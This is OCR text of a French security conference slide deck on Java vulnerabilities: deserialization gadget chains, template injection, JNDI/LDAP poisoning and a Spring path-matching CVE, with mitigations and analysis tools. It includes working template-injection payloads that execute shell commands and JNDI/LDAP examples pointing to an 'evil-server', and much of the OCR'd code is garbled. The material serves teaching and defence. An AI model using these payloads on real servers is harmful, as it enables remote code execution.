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nage: Blade.Runner 1982


http://www.imdb.com/title/tt0083658/

= Qui suis-je?
= Dernieres tendances

" Classes de vulnérabilités émergentes

= Vulnérabilités récentes

" Frameworks, conteneurs et applications couramment utilisées dans
I’écosysteme Java

= Qutils de sécurité
= Arsenal pour développeurs ou analystes en sécurité

GOSECURE




= Chercheur en sécurité pour GoSecure

= Développeur pour divers outils de sécurité
* Find Security Bugs (FindBugs - Static Analysis pour Java)
= Security Guard (Roslyn — Static Analysis pour .NET) N |
= Burp Proxy Plugins (Retire.js, CSP Auditor) ozl

= Bénévole pour la compétition de sécurité et la conférence NorthSec

GOSECURE



http://www.commitstrip.com/fr/2017/01/09/that-little-problem-with-agile/

Formation en securité applicative

" Formation pratique pour développeurs Java

=2 jours : 8 au 10 mars 2017 ConFoo

= Themes
= XSS, injections SQL, crypto, authentification, ...
= Désérialisation, XXE, injection d’expression, LDAP, ...

= Matériel inédit et avancé

" |nscrivez-vous

https://confoo.ca/en/yul2017/session/secure-java-development

™
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https://confoo.ca/en/yul2017/session/secure-java-development

" Les vulnérabilités présentées ne sont
pas les plus communes

" 'intérét est de présenter les
nouveautés pour un public ayant une
connaissance du OWASP Top 10

GOSECURE



https://www.owasp.org/index.php/Top10#OWASP_Top_10_for_2013
https://pixabay.com/en/decline-road-sign-warning-14-1607602/
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Avant de mitiger les scénarios avanceés M coceccecicsss
présentés... ne pas oublier la base: v vosvssvsssass

" Mots de passe faibles

= Aucune limitation sur le nombre de
tentatives d’authentification

= Deuxieme facteur manquant pour les
comptes administratifs

= |njections SQL

= Applications & systemes d’exploitation
qui ne sont pas mis a jour
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http://www.imdb.com/title/tt0113481/

Bogues de désérialisation




Bogues de déserialisation

“ La sérialisation est un processus de
conversion entre une structure de
donnée ou |'état d’'un objet dans un
format qui peut étre converti et
reconstruit plus tard dans le méme

environnement ou dans un différent.

[Référence : Wikipedia]

Image: Star Trek
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https://en.wikipedia.org/wiki/Serialization
http://www.imdb.com/title/tt0060028/

Bogues de deésérialisation

ObjectInputStream objIn = new ObjectInputStream(in);
Command cmd = (Command) objIn.readObject () ;

= Le nom de la classe est lu du stream

" La classe est chargée a partir du nom

= Un objet est instancié

= (Aucun constructeur n’est appelé)

= La méthode readObject() est appellee, si elle est implémentée

GOSECURE




de désérialisation: Commons Collection

LazyMap.java InvokerTransformer.java

/ M3 Fom ety e 11 [ I E—— T iy e /
f e ne Ia ry Lo use nscruc ElEmMENRLS T,

private final String iMethodiame;

b R i FUuoL 2 4 ; 3 - B — FT o = = o e I /
fE® ine array or rellechlon paramercer Lypes *f

protected final Transformer factory: private final Clazs[] iParamTypes:

/ 3 - e 5 e Yy T ———— /
ATF Lne arr¥ray ol ¥ellecClon argumencs =/

. . . private final Ckject[] iArgs:
public Obkject get{Cbkject key) |

S

* create value for key 1f key 15 not currently in Che map

if (map.containskEey(key) == false) { ”_ ~ ) i ] ]
Object value = factory.transform(key): * Transforms the inputbt Lo result by invoking & method on the input
map.puat (key, wvalue): "
return value: # @param imput the input object to transform

} * Preturm the transformed result, null 2f nonll inpnt

return map.get (key) W

} » public Object transform{Object input) |

if {input == null) {
return null;

}
try {

Class cls = input.getClass({):
Method method = cls.getMethod (iMethodBame, iParanTypes):
return method.inveoke (input, iArgs):

1 catch (NoSuchMethodException ex) |

throw new FunctorException("InvokerTransformer: The methoed '" + iMethodName
} catch (IllegalBAccessException ex) |

throw new FunctorException("InmvokerTransformer: The method '" + iMethodName
} catch (InvocationTargetException ex) |

throw new FunctorException("InvokerTransformer: The method '" + iMethodName

P A% . C GOSECURE




Bogues de déserialisation: Commons Collection

AnnotationlnvocationHandler.java

- bl \ private wvoid bject {ObjectInputStream warl) throws I0Exception, ClassNotFoundException |
Probleme #1

wvarl.defaultReadlbject () ;
EnnotationType var?2 = null;

= Comment appeler LazyMap.get() ? -

var?2 = AnnotationIype.getlnstance (this.type):
} catch (IllegaliArgumentException vard) |
throw new InvalidObjectException("Non-annotation type in annotation serial stream");

}

Map wvar3 = var?.memberTypes();

/7
[ | R Iterator vard = this.memberValues.entrySet().iterator():
eponse

while(vard.hasNext ()} {

= Trouver un appel vers Map.get() dans Entzy vars - (Entzy)vard.nexc();

une méthOde readObjeCt() fii:z:r:ai ;ul{-:i':lla?s:lvar&qet{varﬁ:l:

Cbkject ward = wvarb.getValue():
if('var7.isInstance (varf) && !({varf instanceof ExceptionProxy)) {
vars.setValue { (new AnnotationIypeMismatchExceptionProxy({ 5 vari.getllass() + "[°

}

GOSECURE




Bogues de déserialisation: Commons Collection

= Probleme #2 ChainedTransformer.java

" Comment Cha,l\ner Ies invocations de -..:ri're:_zfsr::_c the i1mput to result via each decorated transformer
HanOkerTra nSfOrmer” : @param object the input chject passed to the first transformer

public Okbject transaform(Cbject ckject) |
for (int i = 0; 1 < iTransformers.length; i++) [

= Réponse } cbject = iTransformers[i].transform{object)

return obhject:

= Utilisation de la classe ]
"ChainedTransformer”

GOSECURE




Bogues de déserialisation: Commons Collection

L
Annotation e Chained
InvocationHandle(( y Transformer

. Constant
Transformer

Transformer

Instanciate
Transformer

= Référence: Pour plus de détails référez vous a la présentation de Chris
Frohoff & Gabriel Lawrence ou le projet YSoSerial.

Invoker 1

GOSECURE



https://frohoff.github.io/appseccali-marshalling-pickles/
https://github.com/frohoff/ysoserial

Bogues de desérialisation: Commons Collection

= Quelques vendeurs affectés

ORACLE

WEBLOGIC

0®°
@
® @ b Red Hat

=7 J X
re '\‘

T~
iy
s 2
&P

1 N
\/;’,./ <l
=l .
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Bogues de desérialisation: Solutions et mitigations

= Pour de nouvelles applications:
= Eviter les frameworks “avancés” de sérialisation pour le J SON

transport de données

= Utiliser JSON ou ProtoBuf -.\i protObUf

= Pour des applications existantes: r Protocol Buffers

= Liste blanches (whitelist) de classes *
= Liste d’exclusion (basée sur les gadgets connus) *

= *Utilisation d’agent comme NotSoSerial ou SerialKiller

GOSECURE



https://github.com/kantega/notsoserial
https://github.com/ikkisoft/SerialKiller

Template injection (Gabarit




Template injection (Gabarit)

’ ! \ ! y ‘% = Application permettant d’éditer

[e[>][C] (& D] des gabarits Freemarker en HTML

FINAFIKETING Arr 3000

Bonjour <b>{{nom}}</b>,<br/> " Quel est le risque potentiel?
Votre commande {{cld}} ...

<br/>
Merci<br/>
(c) Compagnie {{annee}} @ Hameconnage

[ Soumetre | ) e

GOSECURE




Template injection (Gabarit)

' ! ! y \ ‘% = Application permettant d’éditer

(]3] (€] (A D] des gabarits Freemarker en HTML

FINAFIKETING Arr 3000

Bonjour <b>{{nom}}</b>,<br/> " Et sil y avait quelque chose de

Votre commande {{cld}} ... o

<br/> plus gros:

Merci<br/> o o

(c) Compagnie {{annee}} e Exécution de code (Coté Serveur)
grace a Freemarker

GOSECURE




Template injection (Gabarit)

= Quelles librairies sont affectées? FREEMARKER

" Freemarker e Anache Veloglty Praicet ™
: e Apache Velocity Projec

- VQIOClty \;%\ I:]ttp:Hvelocity.apacyhe.orgf

" Groovy Simple Template

" Et plusieurs autres ...

Toutes librairies qui permettent:
= inclusion d’appel de fonctions
{{test.fonctionPratique(“../../config.properties”)}}
= La possibilité d’appeler des attributs télescopiques
{{test.class.classloader.resources.context.parent.pipeline.first.directory="http://..”}}

GOSECURE




Template injection (Gabarit)

= Exemple avec Freemarker FREEMARKER

<#assign ex="freemarker.template.utility.Execute"?new()> S{ ex("id") }

GOSECURE




Template injection (Gabarit)

= Exemple avec Velocit itv Proiect
P Y TR e e P!

#set(Sx="")H##

#set(Srt=Sx.class.forName('java.lang.Runtime'))##

#set(Schr=Sx.class.forName('java.lang.Character') ) ##
#set(Sstr=Sx.class.forName('java.lang.String'))##

#set(Sex=Srt.getRuntime().exec('ls'))##

Sex.waitFor()

#set(Sout=Sex.getInputStream())##

#foreach(Si in
[1..Sout.available()])Sstr.valueOf(Schr.toChars(Sout.read()))#end

" [ X
\ ) \

\ bl s

;
'
N
—
=

GOSECURE




Template injection (Gabarit)

= Mitigations
= Si les gabarits peuvent étre édités par un utilisateur:
= Utiliser un engin "sans logique" (Scripting, Appel de méthode, etc.)

Handlebar.java ou

Moustache ou

Remplacement simple de marqueur
template.replaceAll(“{{“+variable+"}}”’value)

= §’il s’agit de configuration statique:
= Rien a faire

GOSECURE



http://jknack.github.io/handlebars.java/
https://github.com/spullara/mustache.java

JNDI et LDAP




JNDI et LDAP

. JN DI * |njectIOn (*Java Naming and Directory Interface)
Injection dans les requétes

" LDAP* Entry POiSOhing (*Lightweight Directory Access Protocol)
Chargement a partir d’'une source incertaine

https://www.blackhat.com/docs/us-16/materials/us-16-Munoz- HPE Security Fortify,

A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf Software Security Research
A JOURNEY FROM JNDI/LDAP
MANIPULATION TO REMOTE CODE
EXECUTION DREAM LAND

—

Hewlett Packard
Enterprise Alvaro Mufioz
Oleksandr Mirosh

GOSECURE



https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf

JNDI Injection

Hashtable env = new Hashtable(); Py p——

(«[2] (€] (] D]

env.put(Context.INITIAL_ CONTEXT_FACTORY, o m mam mr s ————— s

ENIN IrTVINOETrIEniI

"com.sun.jndi.rmi.registry.RegistryContextFactory"); Nom
env.put(Context.PROVIDER_URL, "rmi://secure-server:1099"); Entité:

Employe

Context ctx = new InitialContext(env);

local_obj = ctx.lookup(UserInput); _l

Good rmi://secure-server:1099/Good
rmi://evil-server:1099/Bad rmi://evil-server:1099/Bad

GOSECURE




LDAP Entry Poisoning

LAP| LDAP Java permet le mapping d’'une entrée LDAP vers un objet
Java.

= Le client Java doit activer:
<SearchControls>.setReturningObjFlag(true);

" Le répertoire LDAP doit posséder les attributs suivants:
= javaClassName / javaClassNames
" javaCodeBase
" javaSerializedData
" ... (voir Article de HPE Security Fortify pour les combinaisons possibles)

GOSECURE



https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf

LDAP Entry Poisoning

= ObjectClass: inetOrgPerson
= UID: elliot

= Name: Elliot Alderson Gadget
" Email Address: ealderson@gosecure.ca
= Location: Montreal, CA

= javaSerializedData: ACEDO1A][....] / P°55ibci|';tsésjsetf:fcregser des
= javaCodeBase: http://evil-server/

= javaClassName: EvilPayload

GOSECURE




LDAP Entry Poisoning

Prérequis :

Ecriture possible dans le répertoire LDAP pour les propriétés

Scénarios: —

Serveur
applicatif

=" Compte administratif LDAP compromis
= Serveur LDAP vulnérable

_ o g Serveur
= Serveur LDAP configurable o == g LDAP
O oo
= Ftc. Serveur
applicatif

GOSECURE




LDAP Entry Poisoning: Mitigation

= Ne pas activer l'option “Returning Object”
= <SearchControls>.setReturningObjFlag(false);

= Spring-Security l'active par défaut
= Ref: SpringSecurityLdapTemplate.java

GOSECURE



https://github.com/spring-projects/spring-security/blob/ce20cfcb9803a6175f6befc9008cadcc4e3b6d72/ldap/src/main/java/org/springframework/security/ldap/SpringSecurityLdapTemplate.java#L380

Image: Flickr Brian Klug


https://www.flickr.com/photos/brianklug/6870002408/in/photolist-bt5yno-nj7Bs-bFZpyg-RBaYo-bWVguK-ai8mDD-8nuRwu-ai8mDB-bFZqyB-66Krr1-d7945-bt5yG3-8iX4yW-bFZpMa-7HEdDn-65kCdP-7z7QTr-RBbbj-RBaPJ-bt5zbN-bt5yKq-dhqrKt-av6N1N-fi31ew-bWU33u-bFZpVK-chqjK5-eemWai-dsfA1f-e6vNa7-2o9Aag-bvb41q-9vsQaz-7HEcWe-qfkL9C-76rZMS-76rWGu-76o2cr-646g3X-afL51j-7HJ9eS-7T3U8g-pn9Zee-aFsUQt-4GUsTW-av2A6Q-7HEcHT-5j4syQ-rPv1Ru-nfLJTJ

Une pluie de bogues de déserialisation

Vulnerability Patch Status

Vendor
Apache
Redhat
Oracle

IBM

Oracle
Pivotal

IBM

[IT Software
Apache

o ~N oW 2 s

—
O WO

Apache

—_
—_—

Apache

—
(S

Amazon

08/03/2016

Target
ActiveMQ
HornetQ
OpenMQ
WebSphereMQ
Weblogic
RabbitMQ
MessageSight
SwiftMQ

ActiveMQ Artemis
QPID JMS Client

QPID Client

SQS Java Messaging

Vendor Discl.

2015-09-02
2016-03-18
2076-03-18
2076-03-18
2076-03-18
2076-03-24
2076-03-24
2076-05-30
2076-06-02
2076-06-02
2076-06-02
2076-06-14

CVE
CVE-2015-5254
No

No

No
CVE-2016-0638
No
CVE-2016-0375
No

No
CVE-2016-4974
CVE-2016-4974
No

O blackhat S~ =201

Patch
Yes
No
No
No

Yes*
No
Yes
No
No
Yes
Yes
No

Seulement pour les
plateformes de
gueue de messages

= Tiré de |la présentation de Matthias Kaiser a Black Hat USA 2016

1 7
\ L 7/ \ v &
— _Q.,__ — /=

-
\ pil =

%
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https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

Spring CVE-2016-5007/

F Comparaison exacte AntPathMatcher
[ <intercept-url pattern="/admin/**" access="hasRole('admin')" /> J
N\
4 I
finfo/ Authentification MVC Controller
\ )
https://pivotal.io/security/cve-2016-5007
== X p
CYA" GOSECURE
el “Svie



https://pivotal.io/security/cve-2016-5007

Spring CVE-2016-5007/

F Comparaison exacte AntPathMatcher
[ <intercept-url pattern="/admin/**" access="hasRole('admin')" /> J
N\
4 4 N
Jadmin/ Authentification MVC Controller
e o /

https://pivotal.io/security/cve-2016-5007
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https://pivotal.io/security/cve-2016-5007

Spring CVE-2016-5007/

F Comparaison exacte AntPathMatcher
[ <intercept-url pattern="/admin/**" access="hasRole('admin')" /> J
N\
4 I
/admin%20/ Authentification /admin%20/ MVC Controller
o %
AntPathMatcher matcher = new AntPathMatcher();
https://pivotal.io/security/cve-2016-5007 assertTrue(matcher.match("/foo/bar", "/foo_/bar"));

\

[ (. ¥ . "

N ] 3 v
—~— \/\/ <l da
\ et '
/ &<,
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https://pivotal.io/security/cve-2016-5007

Il v a une bonne nouvelle

Bonne nouvelle !

= || existe des outils qui peuvent trouver :

" Des vulnérabilités connues pour les librairies et
"frameworks" que vous utilisés.

= Des vulnérabilités potentielles dans vos logiciels
maison.

GOSECURE
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Image: Dredd 2012


http://www.imdb.com/title/tt1343727/

Outils d’analyse statique de code

= SonarQube, Jenkins

" Find Security Bugs P S .. B
= |DE (IntelliJ, Eclipse) ,LAPSE + / ﬁ{ ugs

= LAPSE {ﬁ] F. d s . B 15 @qn
in ri ) A
u PMD ecu tu ugs . d"{YLP‘\_\ﬁT’T
: FindBugs
u HP Fortlfy (S) because it's easy

e

i:\ﬂ

Jenkins sonarqube
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Outils d’analyse des déependances

()

Victi.ms

" SRC:CLR
/ ~

= Dependency Check
N _) DEPENDENCY-CHECK

= JavaScript
= Retire.js

Retire.js

GOSECURE




Démonstrations
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http://www.imdb.com/title/tt0113243/

Conclusion

En espérant vous voir a .. Essayez des demain...

ConfFoo (¥} Find Security Bugs

http://find-sec-bugs.github.io

http://nsec.io

GOSECURE



http://nsec.io/
http://find-sec-bugs.github.io/

Réferences: Désérialisation

= \What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your
Application Have in Common? par Stephen Breen

= AppSecCali 2015 - Marshalling Pickles par Christopher Frohoff and
Gabriel Lawrence

= Exploiting Deserialization Vulnerabilities in Java par Matthias Kaiser

= Java Serialization Cheat-Sheet

= YSoSerial outil maintenu par Christopher Frohoff

" Look-ahead Java deserialization par Pierre Ernst

= NotSoSerial java-agent pour mitigation

GOSECURE



http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
http://frohoff.github.io/appseccali-marshalling-pickles/
https://www.youtube.com/watch?v=VviY3O-euVQ
https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet
https://github.com/frohoff/ysoserial
http://www.ibm.com/developerworks/library/se-lookahead/
https://github.com/kantega/notsoserial

Références: Template injection et JDNI/LDAP

= Template injection:

= Server-Side Template Injection For The Modern Web App by James Kettle
(vidéo)

= JDNI/LDAP RCE:

= A journey from JNDI/LDAP manipulation to remode code execution dream
land par Alvaro Munoz et Oleksandr Mirosh

" Introducing JNDI Injection and LDAP Entry Poisoning (Résumé de l'article
précédent)

GOSECURE



https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf
https://www.youtube.com/watch?v=3cT0uE7Y87s
https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf
https://community.hpe.com/t5/Security-Research/Introducing-JNDI-Injection-and-LDAP-Entry-Poisoning/ba-p/6885118

Réferences: Outils de sécurite

" Find Security Bugs
= https://find-sec-bugs.github.io/

= Jenkins FindBugs integration
= https://wiki.jenkins-ci.org/display/JENKINS/FindBugs+Plugin

= SonarQube
= https://github.com/SonarQubeCommunity/sonar-findbugs

= OWASP LAPSE
= https://www.owasp.org/index.php/OWASP LAPSE Project

= Victi.ms
= https://github.com/victims
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https://find-sec-bugs.github.io/
https://wiki.jenkins-ci.org/display/JENKINS/FindBugs+Plugin
https://github.com/SonarQubeCommunity/sonar-findbugs
https://www.owasp.org/index.php/OWASP_LAPSE_Project
https://github.com/victims

Questions ?

\ ¥ X L /\\
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@~ Contact %
\ N1 parteau@gosecure.ca
& gosecure.net/blog/

/ YW @h3xStream @GoSecure_Inc
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